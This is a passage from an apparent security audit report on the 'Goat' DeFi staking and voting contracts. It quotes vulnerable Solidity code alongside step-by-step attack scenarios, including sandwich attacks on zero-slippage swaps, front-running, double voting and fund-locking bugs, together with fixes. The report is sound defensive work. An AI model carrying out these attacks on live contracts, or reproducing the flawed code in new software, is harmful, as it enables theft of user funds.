          .ExactInputSingleParams({
              tokenIn: tokenIn,
              tokenOut: tokenOut,
              fee: POOL_FEE,
              recipient: address(this),
-              // deadline: block.timestamp,
+             deadline: deadline_,
              amountIn: amountIn,
              amountOutMinimum: 0,
              sqrtPriceLimitX96: 0
          });

      amountOut = router.exactInputSingle(params);
  }
```

Goat "we use SwapRouter02 abi, they don't have deadline param on struct ExactInputSingleParams.

```
struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }
```

https://sepolia.arbiscan.io/address/0x101F443B4d1b059569D643917553c771E1b9663E#code%22

Judge: Acknowledged. However in the current codebase the library has a hardcoded router address 0xE592427A0AEce92De3Edee1F18E0157C05861564 which is has deadline

3.1.16 During voting the attacker's refund is vulnerable to a sandwich attack

Submitted by Spearmint, also found by PENGUN, 0xRajkumar, Bauer, zigtur, hals, Bauchibred and Tripathi

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `_tryFinalize` in `Voting.sol` is vulnerable to sandwhich attacks. The root cause of the vulnerability is not implementing any slippage checks on the uniswap tx when selling wsteth to refund the attacker

```
// refund to attacker
LLido.sellWsteth(toWinnerVal);
LLido.wethToEth();
to.send(address(this).balance);
```

Proof of concept: Consider the following attack scenario:

1. Malicious user Identifies a vote where the attacker has passed the quorum but the vote has not ended yet, therefore has not yet been finalized.
2. The malicious user waits for the second the vote ends, then sends a transaction where he uses a flash loan to swap wsteth for weth, inflating the price of weth.
3. Within the same transaction, they immediately call `votingClaimFor:: Controller.sol` which calls `_tryFinalize::Voting.sol`.
4. Since the Attacker won, the `_tryFinalize` function will try to refund the attacker as follows:

```
uint toWinnerVal = vote.aEthValue + vote.dEthValue - vote.winVal;
address payable to = payable(vote.attacker);
// refund to attacker
LLido.sellWsteth(toWinnerVal);
LLido.wethToEth();
to.send(address(this).balance);
```

The refund swap goes through at the undesirable inflated price so they get a lot less weth for their wsteth. 5 The malicious user can then swap the weth they got earlier for wsteth at a significant profit stealing from the user who is the attacker in the vote.

Recommendation: Implement a slippage check

3.1.17 Premature unlocking of goat tokens upon transfer of lock

Submitted by Vijay, also found by etherhood and Haxatron

Severity: High Risk

Context: Vester.sol#L52-L71

Description: In the `Vester.sol` contract, the admin has the capability to transfer an investor's lock to another account via the `transferLock` function. However, during this transfer, the `startedAt` timestamp is not being updated. Due to this Goat tokens of the investor will be unlocked right away irrespective of the vesting schedule.

As `startedAt` isn't set in `transferLock` function ,`startedAt` value for `to` account will stay zero even after calling `transferLock` function. Due to this `pastTime` in the below function will always be calculated to `block.timestamp` in the below function.

```
function restDuration(
    SLock memory lockData_
)
    internal
    view
    returns(uint)
{

    if (lockData_.startedAt > block.timestamp) {
        return lockData_.duration + lockData_.startedAt - block.timestamp;
    }
    uint pastTime = block.timestamp - lockData_.startedAt;
    if (pastTime < lockData_.duration) {
        return lockData_.duration - pastTime;
    } else {
        return 0;
    }
}
```

As duration will be way lesser than `block.timestamp` , rest duration will always be returned as zero and entire amount of Goat tokens of the investor will be unlocked when Unlock function is called.

Recommendation: Update the `lockData.startedAt` value for `to` account in `transferLock` funciton.

Goat: fixed lockData = lockData[to]; lockData.startedAt = block.timestamp;

3.2 Medium Risk

3.2.1 Halving interval is 7 days contrary to the documentation of 24 months

Submitted by Haxatron, also found by b0g0, cccz, Spearmint, Rotciv Egaf, 0xWeiss, walter, Aslanbek Aibimov, nmirchev8, merlin, john-femi and Vijay

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The halving interval is set to 7 days which is contrary to the documentation of 24 months.

- DCT.sol#L14:

```
uint constant public HALVING_INTERVAL = 7 days;
```

The documentation says it should be 24 months:

> Halving: Emission is reduced by 50% every 24 months.

As such the GOAT emissions will be slower than intended.

Recommendation: The maximum number of tokens that can be emitted is always double the total GOAT emission for the first interval, and therefore it would be good if the halving interval is increased such that the total GOAT emitted in the first halving interval is more than half of the maximum number of tokens that can be emitted.

As seen, the documentation is also not ideal.

Goat: yeah. its just for staging version

Judge: While I agree that this is something the protocol would be aware and is to be used only for staging purpose. The researcher should not be making such assumptions unless documented. Considering this a valid medium

3.2.2 `_recalfs` should use `earningof` instead of `balanceof` to calculate fs

Submitted by cccz

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: `_reCalFs` should use `earningOf` instead of `balanceOf` to calculate fs, because `balanceOf` may contain earnings belonging to the sponsor, and `_maxEarningOf` is based on `earningOf` instead of `balanceOf`.

```
function _reCalFs(
    address account_
)
    internal
{
    uint maxEarning = _eEarning.maxEarningOf(account_);
    _profileC.updateFsOf(account_, LHelper.calFs(
        _eEarning.balanceOf(account_) + _voting.defenderEarningFreezedOf(account_),
        maxEarning
    ));
    _reCalEP2PDBalance(account_);
}
```

Normally it would call `eEarning.update/withdraw` to make `balanceOf == earningOf` before calling `_reCalFs`, but `dctStake` will call `_reCalFs` and will not call `eEarning.update/withdraw`, which may make `balanceOf` bigger than `earningOf`, thus making the calculated fs big, and increasing the poolOwner's score.

Recommendation: The fix will be:

```
  function _reCalFs(
      address account_
  )
      internal
  {
      uint maxEarning = _eEarning.maxEarningOf(account_);
      _profileC.updateFsOf(account_, LHelper.calFs(
-         _eEarning.balanceOf(account_) + _voting.defenderEarningFreezedOf(account_),
+         _eEarning.earningOf(account_) + _voting.defenderEarningFreezedOf(account_),
          maxEarning
      ));
      _reCalEP2PDBalance(account_);
  }
```

Goat: thats correct. fixed.

3.2.3 When calling `_recalfs` from `dctstake`, the calculated fs may be incorrect

Submitted by cccz

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When `_reCalFs` is called from `dctStake`, `maxEarning` may be stale. This is because if the `poolOwner` has unshared earnings that have not yet been counted into `maxEarning`, then the actual `maxEarning` will be larger than the current one.

```
function shareCommission(
    address account_
)
    public
{
    uint amount = balanceOf(account_) - _sharedA[account_];
    if (amount == 0) {
        return;
    }

    address sponsor;
    uint sAmount;
    (sponsor, sAmount) =  _profileC.getSponsorPart(account_, amount);
    if (sAmount > 0) {
        _transfer(account_, sponsor, sAmount);
        emit ShareCommission(account_, sponsor, sAmount);
    }
    _sharedA[account_] = balanceOf(account_);
    if (_sharedA[account_] > _maxEarningOf[account_]) {
        _updateMaxEarning(account_, _sharedA[account_]);
    }
}
```

Recommendation: It is recommended to call `shareCommission` before calling `_reCalFs` to pull the latest `maxEarning`:

```
  } else {
      {
      require(account_ == poolOwner_, "can only stake DCT for yourself");
      uint aLock = _lock(isEth_, poolOwner_, duration_);

      powerMinted = LHelper.calMintStakingPower(
          oldLockData,
          aLock,
          duration_,
          false,
          _selfStakeAdvantage
      );
      }
      _dP2PDToken.mint(poolOwner_, powerMinted);
+     _eEarning.shareCommission(poolOwner_);
      emit Stake(isEth_, poolOwner_, account_, value, duration_, powerMinted, false);
  }

  _reCalBooster(poolOwner_);
  _reCalFs(poolOwner_);
```

Goat: thats correct. fixed.

3.2.4 Admin can change `_dcttaxpercent` to cause users to permanently lose all staked funds

Submitted by Spearmint

Severity: Medium Risk

Context: Controller.sol#L761

Details: The `updateConfigs()` function in `Controller.sol` allows any admin to change key parameters, one of them being `_dctTaxPercent`, without any `upperlimit`. This allows a rogue admin to change `_dctTaxPercent` to 100% causing users to lose all their staked GOAT.

This issue does require admin access BUT the impact is very high (permanent loss of user funds) and this protocol is built to be resilient to such admin attacks the following is the evidence.

The following is an from the FAQ section of the docs:

> Can anyone steal my staked ETH and GOAT
>
> No one. Neither the pool owner nor the protocol creators. Only YOU can unstake your staked funds. Your funds are stored in the Locker contract, and controlled by the Controller contract, which doesn't contain any function that allows any admin to withdraw funds from the Locker contract.

The protocol dev also stated in the `README` that:

> we make sure that even devteam cannot touch users' locked funds in the Locker contracts.

When staking ETH the protocol limits the `devTeamPercent_` to a maximum of 5%, this shows that they intend to restrict admin's power and prevent user's from losing 100% of funds from a rogue admin

```
require(devTeamPercent_ < 5 * 100, "too much for devTeam");
```

this `require` statement is not present when users stake GOAT.

Impact: This has major impact, if the rogue dev changes the tax to 100% users will lose 100% of their staked GOAT tokens.

Recommendation: Simple fix is to add a require statement in the `updateConfigs()` function, to limit the set tax to some upper limit:

```
  function updateConfigs(
      uint[] memory values_
  )
      external
      onlyAdmin
  {

      require(values_[0] <= 300, "max 3%");
      _bountyPullEarningPercent = values_[0];

      _maxBooster = values_[1];

      _maxSponsorAdv = values_[2];
      _maxSponsorAfter = values_[3];

      _attackFee = values_[4];
      _maxVoterPercent = values_[5];
      _minAttackerFundRate = values_[6];
      _freezeDurationUnit = values_[7];
      _selfStakeAdvantage = values_[8];

      _profileC.setDefaultSPercentConfig(values_[9]);
      _isPausedAttack = values_[10];

      _profileC.setMinSPercentConfig(values_[11]);

      _dctTaxPercent = values_[12];
+     require(values_[12] <= 1000, "max 10%");

      _minFreezeDuration = values_[13];
      _maxFreezeDuration = values_[14];

      _minStakeETHAmount = values_[15];
      _minStakeDCTAmount = values_[16];

      _minDefenderFund = values_[17];

      emit AdminUpdateConfig(values_);
  }
```

Goat: will fix: but severity level should be low. We will renounceOwnership() in the future; administrators will only be needed during the early stages to ensure that everything is going fine

Judge: The researcher points how the protocol is designed to be resilient against admin attacks and points a valid issue, Keeping this medium.

3.2.5 `max_supply` will not be reached as there is an early return that does set `ismintingfinished` to early

Submitted by 0xWeiss, also found by Haxatron, cccz, Rotciv Egaf, Tripathi, Auditism, walter, jesjupyter, ericetee, merlin, Aslanbek Aibimov, nmirchev8, 0xumarkhatab, Bauchibred, Chad0, sashik-eth, Said, ast3ros, Victor Okafor and tutkata

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Currently in the `publicMint()` function in DCT, there is a check that if the `totalSupply()` of tokens + the minting amount:

```
uint mintingA = pendingA();
```

is bigger than MAX_SUPPLY:

```
if (totalSupply() + mintingA > MAX_SUPPLY) {
    isMintingFinished = true;
    return;
}
```

the minting of DCT will be finished and no more GOAT will be minted. The issue here is that there will still be GOAT left to be minted even when `isMintingFinished` is true. This is because the `pendingA()` function:

```
function pendingA() public view returns (uint) {
    if (isMintingFinished || _lastMintAt == 0) {
        return 0;
    }
    uint pastTime = block.timestamp - _lastMintAt;
    return _tps * pastTime;
}
```

calculates the amount of tokens to be minted per second multiplied by the past time from the last mint. This will only increment with the increase of time, therefore the amount of tokens left to mint post setting `isMintingFinished = true;` could be a huge amount if the protocol is not the most used one in the space.

Just to make things more clear, currently 7 tokens per second should be the minting rate: `uint private _tps = 7 ether; //7 tokens per second.`

If `MAX_SUPPLY = 3111666666` and there have been `totalSupply() = 3111660000` tokens minted, meaning there are still 6666 tokens left to be minted, if 953 seconds go through without no one calling `publicMint()` the tokens will never be minted.

This is less than 15 minutes without the function being called, which is extremely likely, could be much more.

Recommendation: If `totalSupply() + mintingA > MAX_SUPPLY)` normalize the `mintingA` amount to mint the last tokens before `MAX_SUPPLY` is reached:

```
  if (totalSupply() + mintingA > MAX_SUPPLY) {
+     mintingA = MAX_SUPPLY - totalSupply();
      isMintingFinished = true;
-     return;
  }
```

Goat: fixed if (totalSupply() + mintingA > MAX_SUPPLY) { isMintingFinished = true; _mint(_rewardPool, MAX_SUPPLY - totalSupply()); _lastMintAt = block.timestamp; return; }

3.2.6 Abuser can vote twice by voting, withdrawing dct and staking it on another account

Submitted by Auditism

Severity: Medium Risk

Context: Voting.sol#L220, Controller.sol#L383, Controller.sol#L576-L583, Voting.sol#L130

Description: When a user stakes DCT, they will be granted some `dp2pTokens`. These tokens will allow user to vote against or for the attacker when someone gets challenged. The present issue is that an abuser is able to withdraw his DCT, transfer it to another account, stake it, receive voting power (`dp2pTokens`) and vote again.

Impact: Abuser of this loophole are able to stake twic with the same amount of DCT, influencing votes in forbidden ways

Proof of concept: When users stake DCT they will be granted some `dp2pTokens`:

```
        powerMinted = LHelper.calMintStakingPower( //@note rs
            oldLockData,
            aLock,
            duration_,
            false,
            _selfStakeAdvantage
        );
        }
@>      _dP2PDToken.mint(poolOwner_, powerMinted);
```

These `dP2PDTokens` are the _votingToken used in the Voting.sol contract. In the _addVoter() we can see the logic below that will use the dp2pDToken balance of the voter as a way to calculate the voting power he will contribute:

```
@>   uint power = _votingToken.balanceOf(voter_);

        uint voteDuration = vote.endAt - vote.startedAt;
        uint pastTime = block.timestamp - vote.startedAt;
        uint restDuration = voteDuration - pastTime;
        power = power * restDuration / voteDuration;

        if (power == 0) {
            // add 1 wei to avoid case totalPower = 0
            power = 1;
        }

        if (isForAttacker_) {
            vote.attackerPower += power;
        } else {
            vote.defenderPower += power;
        }
        vote.powerOf[voter_] = power;
        vote.isForAttacker[voter_] = isForAttacker_;
```

However when withdrawing DCT with the lockWithdraw()

```
    require(restAmount == 0 || restAmount >= _minStakeDCTAmount, "rest amount too small");

    uint burnedPower = LHelper.calBurnStakingPower(_dP2PDToken.balanceOf(poolOwner_), amount_,
↪   oldLockData.amount);
    _dP2PDToken.burn(poolOwner_, burnedPower);

    _reCalBooster(poolOwner_);
    _reCalEP2PDBalance(poolOwner_);

    _dct.transfer(dest_, _dct.balanceOf(address(this)));
}
```

Previous voting positions are not removed which means that the voting contribution will perpetuate, and the abuser is able send `DCT` to another address, stake it, receive `dp2pDToken` and vote again.

Recommendation: In order to mitigate this issue before unstaking dct, add a mechanism to prevent abusive behavior, such as if a user has a current votingPower > 0, denied from unstaking, or to remove all the power this user posses prior to unstaking.

Goat: this is confirmed issue. We will fix soon

3.2.7 Pool owner can sandwich deposits into his pool to keep their fs at 1 while being able to withdraw ETH earnings

Submitted by Aslanbek Aibimov, also found by cccz

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The trust Score depends on three factors: total ETH staked in the pool, Booster, and financial stability.

Financial stability is the ratio of current ETH earnings to max ETH earning, so the reason why pool owners would not claim their ETH earnings is to not decrease their financial stability.

The purpose of FS formula is to impose a temporary penalty on pool owners for withdrawing ETH earnings; however, this penalty can be bypassed: a pool owner would monitor the mempool for `ethStake`'s into their pool, and withdraw as much ETH as they are going to receive in owner fees from the upcoming `ethStake`.

Likelihood: Many of the pool owners could be interested in this exploit, as it would allow them to withdraw liquid ETH for any purpose without affecting their financial stability.

Proof of concept:

1. Bob signs a `ethStake` transaction that is going to stake 50 ETH into Alice's pool.
2. Alice frontruns Bob and withdraws 1 ETH from her EthEarnings, decreasing her financial stability.
3. Bob's transaction makes Alice 1 ETH in owner fees, so Alice's FS is instantly back to 1.

Recommendation: Perhaps, more incentives for keeping `EthEarnings` as high as possible should be introduced.

Goat: will fix.

3.2.8 The lack of slippage protection leads to capital loss

Submitted by Bauer, also found by 0xRajkumar and Bauchibred

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: In the `Controller.earningPulls()` function, if `bountyPullerTo_` is not equal to `account_`, the protocol calculates `amountForPuller`, converts this amount of `wstETH` to `WETH`, and then transfers it to the user as ETH:

```
if (bountyPullerTo_ == account_) {
    _geth.transfer(address(_eEarning), _geth.balanceOf(address(this)));
} else {
    uint256 amountForPuller = _geth.balanceOf(address(this)) * _bountyPullEarningPercent / LPercentage.DEMI;

    LLido.sellWsteth(amountForPuller);
    LLido.wethToEth();
    payable(bountyPullerTo_).transfer(address(this).balance);

    _geth.transfer(address(_eEarning), _geth.balanceOf(address(this)));
}
```

When converting wstETH to WETH in Uniswap v3, we found that `amountOutMinimum` is set to 0, indicating no protection against slippage. This leaves the protocol vulnerable to sandwich attacks:

```
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
.ExactInputSingleParams({
    tokenIn: tokenIn,
    tokenOut: tokenOut,
    fee: POOL_FEE,
    recipient: address(this),
    // deadline: block.timestamp,
    amountIn: amountIn,
    amountOutMinimum: 0,
    sqrtPriceLimitX96: 0
});

amountOut = router.exactInputSingle(params);
```

Recommendation: Setting parameters for slippage protection.

Goat Fixed.

3.2.9 Lack of slippage control in `llido.sol::swapexactinputsinglehop`

Submitted by erictee, also found by Lefg, b0g0, Auditism, walter, 0xrex, jesjupyter, 0xRajkumar, 0xTheBlackPanther, zigtur, twcctop, ladboy233, Bauchibred, deth, 0xRizwan, innertia, merlin, Tripathi, Rotciv Egaf, smbv19192323, john-femi, Said, 0xhashiman and tutkata

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When swapping the tokens with function `LLido.sol::swapExactInputSingleHop`, the slippage control is disabled by configuring the `amountOutMin` to zero. This can potentially expose the swap/trade to sandwich attacks and MEV (Miner Extractable Value) attacks, resulting in a suboptimal amount of tokens received from the swap/trade.

- In `LLido.sol::swapExactInputSingleHop`:

```
function swapExactInputSingleHop(
    address tokenIn,
    address tokenOut,
    uint amountIn
)
    internal
    returns (uint amountOut) {
    ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
        .ExactInputSingleParams({
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            fee: POOL_FEE,
            recipient: address(this),
            // deadline: block.timestamp,
            amountIn: amountIn,
            amountOutMinimum: 0, //erictee-issue: No slippage check.
            sqrtPriceLimitX96: 0
        });

    amountOut = router.exactInputSingle(params);
}
```

Recommendation: One possible solution is to dynamically compute the minimum amount of tokens to be received after the swap based on the maximum allowable slippage percentage (e.g. 5%) and the exchange rate (Source Token <> Destination Token) from a source that cannot be manipulated (e.g. Chainlink, Custom TWAP).

Alternatively, consider restricting access to these functions to only certain actors who can be trusted to define an appropriate slippage parameter where possible.

3.2.10 User can withdraw a lock without burning voting power when privatemode is disabled

Submitted by zigtur, also found by deth

Severity: Medium Risk

Context: Controller.sol#L579-L580

Description: During `Controller.lockWithdraw`, a part of the user's voting power is burnt. This burnt amount depends on the amount of token withdrawn compared to his total amount staked AND the current voting power of the user.

If user has 10 voting power tokens and withdraws 50% of its staked amount, then 5 voting power tokens will be burnt.

When the voting power token is not in private mode, transfers are enabled.

Then, the user can transfer his voting power tokens to another account, withdraw his tokens and transfer back its voting power. By doing so, none of his voting power tokens will be burnt.

Proof of concept:

The attached code shows the calculation of the burnt amount. If user transfer his `_dP2PDToken` balance, then no `_dP2PDToken` will be burnt.

Recommendation: Ensure that the voting power tokens are **never** set to private mode disabled.

Goat: Fixed by removing the `_privateMode` completely.

3.2.11 `Controller.sol::lockwithdraw()` - it's impossible to withdraw of `fsof = 0`

Submitted by deth

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When withdrawing we use `withdraw`:

```
function _withdraw(
    address account_,
    address poolOwner_,
    address dest_,
    uint amount_,
    bool isForced_
)
    internal
{
    bytes32 lockId = LLocker.getLockId(account_, poolOwner_); //ok
    LLocker.SLock storage lockData = _lockData[lockId]; //ok
    bool isPoolOwner = account_ == poolOwner_; //ok
    uint fs = _profileC.fsOf(poolOwner_);
    if (!isForced_) {
        require(LLocker.isUnlocked(lockData, fs, isPoolOwner), "not unlocked");
    }
    uint duration = LLocker.calDuration(lockData, fs, isPoolOwner);
    uint pastTime = block.timestamp - lockData.startedAt;
    if (pastTime > duration) {
        pastTime = duration;
    }

    lockData.amount -= amount_;
    uint total = amount_;
    uint receivedA = total * pastTime / duration;
    _cashOut(dest_, receivedA);
    if (total != receivedA) {
        _cashOut(_penaltyAddress, total - receivedA);
    }

    emit Withdraw(account_, poolOwner_, dest_, amount_);
    emit UpdateLockData(account_, poolOwner_, _lockData[lockId]);
}
```

`fsOf` is used to calculate how much `receivedA` a user should receive when withdrawing. An edge case is possible where `fsOf = 0`, which makes it impossible to withdraw. For example:

1. Alice has 100 Geth locked for 100 days.
2. Her `ifs` gets set to `0` since she has no `Earning` tokens and no `maxEarningOf`. This is correct as if she tries to call `lockWithdraw` now, `fsOf` will return 10000, as it inverts her `ifs`
3. Alice receives 5 `Earning` tokens from:
    - Either someone transferred them to her, that's possible if `Earning` is not in private mode, which allows for the transferring of tokens.
    - She earned them by being a sponsor of a pool, as when someone stakes, the sponsor of that pool gets a small % of `Earning` tokens minted to them.
4. Alice then calls `Earning.update` to update her `_sharedA` and `_maxEarningOf`.
5. Then she decides to withdraw her earnings by calling `earningWithdraw`.
6. Alice calls `earningWithdraw` to withdraw her 5 `Earning` tokens.

```
function withdraw(
    address account_,
    uint amount_,
    address dest_
)
    external
    onlyAdmin
{
    shareCommission(account_);

    _burn(account_, amount_);
    _sharedA[account_] = balanceOf(account_);

    _cashOut(dest_, amount_);
    emit Withdraw(account_, amount_, dest_);
}
```

7. `withdraw` will burn her 5 tokens and cash her out. Her balance is now 0 and her `maxEarningOf` is still 5.
8. `reCalFs` is called immediately after that: `0 * 10000 / 5 = 0`, so her `ifs = 10000`.
9. Alice then decides to `lockWithdraw` all her 100 tokens that are in the lock.
10. `Locker.withdraw` is hit:

```
function _withdraw(
    address account_,
    address poolOwner_,
    address dest_,
    uint amount_,
    bool isForced_
)
    internal
{
    bytes32 lockId = LLocker.getLockId(account_, poolOwner_); //ok
    LLocker.SLock storage lockData = _lockData[lockId]; //ok
    bool isPoolOwner = account_ == poolOwner_; //ok
    uint fs = _profileC.fsOf(poolOwner_);
    if (!isForced_) {
        require(LLocker.isUnlocked(lockData, fs, isPoolOwner), "not unlocked");
    }
    uint duration = LLocker.calDuration(lockData, fs, isPoolOwner);
    uint pastTime = block.timestamp - lockData.startedAt;
    if (pastTime > duration) {
        pastTime = duration;
    }

    lockData.amount -= amount_;
    uint total = amount_;
    uint receivedA = total * pastTime / duration;
    // ...
```

11. `fsOf` will return the inverted of `ifs`, so `fsOf = 0`.

12. `calDuration` is called.

```
function calDuration(
    SLock memory lockData_,
    uint fs_,
    bool isPoolOwner_
)
    internal
    pure
    returns(uint)
{
    uint mFactor = isPoolOwner_ ? 2 * LPercentage.DEMI - fs_ : fs_;
    uint duration = lockData_.duration * mFactor / LPercentage.DEMI;
    return duration;
}
```

13. Since Alice isn't the pool owner, `mFactor = 0`.
14. `duration = 100 days * 0 / 10000 = 0`.
15. The function will revert every time we hit this line, as we will attempt to divide by 0, which will panic revert the transaction.

```
uint receivedA = total * pastTime / duration;
```

Alice cannot withdraw the tokens she locked, until she receives `Earning` tokens from somewhere and her balance gets updated.

Recommendation: Have a special case for when `fs = 0`. Maybe set `fs` to `DEMI` if it is 0, not sure exactly what the protocol team might want.

Goat: Fixed

3.2.12 `require(winval > 0)` can lead to votes never able to be finalized and locking users fund forever in certain situations

Submitted by Chad0

Severity: Medium Risk

Context: Voting.sol#L317

Description: The Attacker Alice can create a vote with `voterPercent_` having the value of `0`, the `0` value can pass the check of `LPercentage.validatePercent(voterPercent_)`, so this vote's `vote.voterPercent` will be assigned as `0`.

Then, when someone want to claim the voting rewards, the call stack will be from `Controller` contract's `votingClaimFor()`, into `Voting` contract's `claimFor()`, then into `Voting` contract's `_tryFinalize()`.

In `_tryFinalize()`, no matter which party wins, the `vote.winVal` will always be `0` just because `vote.voterPercent` is `0`, hence, the `winVal` will be `0` and this `require()` will always fail for such a vote. Because the `_tryFinalize()` can only be called by the `claimFor()` in the same contract, it means such a vote will never be able to be finalized, and neither the attacker nor the defender can get their locked money back.

This issue is very bad for the game. Consider the scenarios below:

1. Alice is creating a vote against Bob. Alice knows this bug, and if she hates Bob really bad, she will use `voterPercent_` of `0` so that she can lock Bob's entire fund forever, and Alice herself will also sacrifice a small portion of her own money (`uint public _minAttackerFundRate = 2500; //25%`). If Alice is willing to, she can destroy any pool owner's money at the ratio of 25%.
2. Or, Alice is creating a vote against Bob but she doesn't know this bug. Alice maybe just a normal user who tries to challenge a pool owner Bob; because Alice is very confident in her own voting power being more than enough, so she doesn't want to share any rewards with others and she is also likely to use `0` for `voterPercent_`. Especially it is written in the game docs where it even gives an example of using voter share of `0%`. Normal users can be easily misled to create such votes, leading to their votes never gonna be finalized and they cannot get their fund back.

Therefore, this issue should be considered as High severity.

Recommendation: There are various ways to change the rules. One simple way of remediation is not allowing votes to be created with `voterPercent_` of `0`.

Goat: Fixed. added config minVoterPercent = 10%

3.2.13 The voting rules are exploitable for one to do self-challenge at a very low cost hence preventing real challenges from others

Submitted by Chad0, also found by Aslanbek Aibimov and cccz

Severity: Medium Risk

Context: Voting.sol#L163

Description: Suppose Alice is a pool owner and she wants to protect her funds from being challenged by other players, so she can totally use one of her another address and create a challenge vote against herself. Now the defender address and the attacker address are both Alice's.

She can use an extremely low `voterPercent` so that the amount of money she may lose for such a practice is negligible. Alice does not care which party wins because both parties belong to her; it's reasonable that she will try to make the defender side win because that's her main account. As the `voterPercent` is so low that other people is less incentivized to participate, so it's mainly Alice herself controlling this vote.

So, in this way, Alice managed to lock her funds in this particular vote and not being at risk to lose to real challenges from other players.

When this vote ends, Alice can repeat a new vote as the placeholder again. This is how Alice can exploit the rules for continuously protecting her funds not getting challenged for real, at a negligible cost.

Be advised that, Alice will not use exactly `0` for `voterPercent` because that will lead to the vote never gonna be finalized and funds are locked forever.

Recommendation: Set an reasonable minimum threshold for `voterPercent` and do not allow it to be extremely low as close to zero.

Goat: will fix

3.2.14 Stake function can be inhibited

Submitted by innertia, also found by tenma

Severity: Medium Risk

Context: Controller.sol#L330

Description: In `_stake`, there is a conditional statement `require(value == 0 || value >= minStakeAmount, "amount too small");`, where `value` is the following value: `uint256 value = isEth_ ? _geth.balanceOf(address(this)) : _dct.balanceOf(address(this));`. Let's assume that the person who wants to `_stake` intends to pass here with the condition `value == 0`.

However, the attacker can front-run this and send a small token (`0 < value < minStakeAmount`) to this address, which will always cause the conditional statement to fail. This allows the attacker to interfere with `_stake`, which is an important function at the heart of the product.

Recommendation: You can stop calculating the value based on the address balance. At the very least, consideration should be given to the fact that outsiders can increase the balance of addresses.

Goat: Fixed

3.2.15 Updating sponsor can be front run

Submitted by Tripathi, also found by cccz

Severity: Medium Risk

Context: Controller.sol#L368

`_updateSponsor` can be front run by current sponsor.

Alice want to be sponsor for `XYZ's` pool which has current active sponsor `BOB`. Alice calculated the ETH amount and duration she need to stake for becoming the sponsor and she called Controller.sol#L413 function.

BOB sees the transaction in the public mempool and frontrun Alice's transaction by staking more so that Alice can't be the new sponsor. Alice stake will execute she will be a staker, her funds will be locked for the duration and she won't be able to be a sponsor. Alice would want to recover her funds but she will have to pay a penalty for withdrawing before the locking period.

The `minSPercent_` params exist to ensure that there are no frontrunning transactions that change the sponsor reward rate before your transaction is processe,d but there is no protection for the above issue that ensure that a % of total active supply Alice will get for her staked ETH.

It is same as providing liquidity to uniswap pool without slippage protection:

```
function _updateSponsor(
    address payable poolOwner_,
    address staker_,
    uint minSPercent_
) internal {
    if (poolOwner_ == staker_) {
        return;
    }
    IProfile.SProfile memory profile = _profileC.profileOf(poolOwner_);
    if (profile.sponsor == staker_) {
        return;
    }
    require(profile.nextSPercent >= minSPercent_, "profile rate changed");
    IPoolFactory.SPool memory pool = _poolFactory.getPool(poolOwner_);
    IDToken p2UDtoken = IDToken(pool.dToken);
    uint timeDiff = block.timestamp - profile.updatedAt;
    if (timeDiff > _maxSponsorAfter) {
        timeDiff = _maxSponsorAfter;
    }

    uint sponsorDTokenBalance = p2UDtoken.balanceOf(profile.sponsor);
    uint stakerDTokenBalance = p2UDtoken.balanceOf(staker_);
    uint sponsorBonus = (sponsorDTokenBalance *
        (_maxSponsorAdv - 1) *
        timeDiff) / _maxSponsorAfter;  //(sponsorDTokenBalance * 6 * timeDiff) / 7 * 86400
    uint sponsorPower = sponsorDTokenBalance + sponsorBonus;
    if (
        stakerDTokenBalance > sponsorPower || poolOwner_ == profile.sponsor
        //@audit-issue current sponsor can front run the tx and increase his sponsorPower by staking more so
↪   that next staker couldn't replace him from being sponsor
    ) {
        address[] memory pools = new address[](1);
        pools[0] = poolOwner_;
        earningPulls(poolOwner_, pools, poolOwner_);
        _profileC.updateSponsor(poolOwner_, staker_);
    }
}
```

BOB will stake more to increase his sponsor power and Alice's funds will be locked but she won't be a sponsor

Goat: Fixed.

3.2.16 Users can lock funds for less time than the minimum staking duration

Submitted by ethan

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Despite enforcing an explicit minimum staking duration, it is possible for users to lock funds for less time than intended.

If a user locks funds in an existing position without adding to its `duration`, the `Controller` checks (in `calMintStakingPower`) that the lock has not expired:

```
// LHelper.sol#L34
uint rd = LLocker.restDuration(oldLockData);
// ...
if (lockTime_ == 0) {
    require(rd > 0, "already unlocked");
}
```

It then allows staking to continue without additional checks on the `duration`. But if `rd` is less than the minimum staking duration, the new funds will only be locked for that arbitrarily short period of time. In contrast, the minimum staking amount is enforced in all cases.

Recommendation: Rather than requiring that the remaining duration of the position is greater than zero, the function should check that it is greater than the minimum staking duration:

```
// LHelper.sol#L23

function calMintStakingPower(
    LLocker.SLock memory oldLockData,
    uint lockAmount_,
    uint lockTime_,
    bool isSelfStake_,
    uint selfStakeAdvantage_,
    uint minDuration_
)
    internal
    view
    returns(uint)
{
    uint rd = LLocker.restDuration(oldLockData);
    // ...
    if (lockTime_ == 0) {
        require(rd > minDuration_, "too little time remaining");  // minDuration_ = 30 days
    }
    // ...
}
```

Goat: confirmed. will fix soon.